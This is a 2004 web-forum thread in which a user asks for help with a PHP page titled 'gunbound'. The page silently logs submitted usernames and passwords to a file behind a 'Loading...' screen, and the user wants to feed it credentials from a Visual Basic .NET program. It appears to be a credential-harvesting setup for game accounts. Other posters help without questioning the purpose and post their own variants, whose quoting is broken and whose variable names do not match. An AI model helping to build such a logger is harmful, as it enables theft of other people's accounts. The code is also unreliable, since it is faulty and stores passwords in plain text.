Page 1 of 1
check code
Posted: Tue Feb 17, 2004 9:00 pm
by gpmaker
can anyone check this for me:
<html>
<head>
<title>gunbound</title>
</head>
<body>
<?php
if (!$uname){
$uname = "ANON";
}
if (!$passw){
$passw = "NONE";
}
$curdate = date ("l dS of F Y h:i:s A");
$logfile = '\gblog.html';
$fileptr = fopen($logfile, 'a');
fwrite($fileptr,"username:".$uname." password:".$passw." time:".$curdate."\n");
fclose($fileptr);
?>
<center><h2><b>Loading...</b></h2></center>
</body>
</html>
and also, how do i input wut $uname and $passw are going to be using a url??? "
www.blah/blah.php?&uname=fdfd&passw=fdfd"????
Posted: Tue Feb 17, 2004 9:03 pm
by John Cartwright
What is wrong with your code.
I havnt changed anything, just using highlights.
Code: Select all
<html>
<head>
<title>gunbound</title>
</head>
<body>
<?php
if (!$uname){
$uname = "ANON";
}
if (!$passw){
$passw = "NONE";
}
$curdate = date ("l dS of F Y h:i:s A");
$logfile = '\gblog.html';
$fileptr = fopen($logfile, 'a');
fwrite($fileptr,"username:".$username." password:".$password." time:".$curdate."\n");
fclose($fileptr);
?>
<center><h2><b>Loading...</b></h2></center>
</body>
</html>
EDIT ------------------------------------------------
Here is a form which will input the username and password into your flatfile.
Code: Select all
<?
echo "<form name="register" method="post" action=""> \n".
"Username \n".
"<input type="text" name="username"> \n".
"<br> \n".
"Password \n".
"<input type="text" name="password"> \n".
"<input name="submituser" type="Register" value="SUBMIT"> \n".
"</form> \n";
if ($submituser=="SUBMIT") {
$curdate = date ("l dS of F Y h:i:s A");
$logfile = '\gblog.html';
$fileptr = fopen($logfile, 'a');
fwrite($fileptr,"username:".$uname." password:".$passw." time:".$curdate."\n");
fclose($fileptr);
}
?>
inputing values
Posted: Tue Feb 17, 2004 10:47 pm
by gpmaker
i'm trying to make the sumit thing from visual basic .net, so i'm tring to input the username, pass, and date using a url, here' the one i'm using:
http://www.(something)/blah.php?&uname=kdjfkf&passw=fdsfd it's not working for me, so wut am i doing wrong???
Posted: Wed Feb 18, 2004 3:15 am
by Dr Evil
Sorry are you trying to make pages in VB.Net or PHP ?
Posted: Wed Feb 18, 2004 5:59 pm
by gpmaker
i want to put information in visual basic .net, and have that information sent to a page....
Posted: Wed Feb 18, 2004 6:36 pm
by John Cartwright
Try this
Code: Select all
<?php
<?
echo "<form name="register" method="post" action=""> \n".
"Username \n".
"<input type="text" name="username"> \n".
"<br> \n".
"Password \n".
"<input type="text" name="password"> \n".
"<input name="submituser" type="Register" value="SUBMIT"> \n".
"</form> \n";
if ($submituser=="SUBMIT") {
$curdate = date ("l dS of F Y h:i:s A");
$logfile = '\gblog.html';
$fileptr = fopen($logfile, 'a');
fwrite($fileptr,"username:".$username." password:".$password." time:".$curdate."\n");
fclose($fileptr);
}
?>
This should work.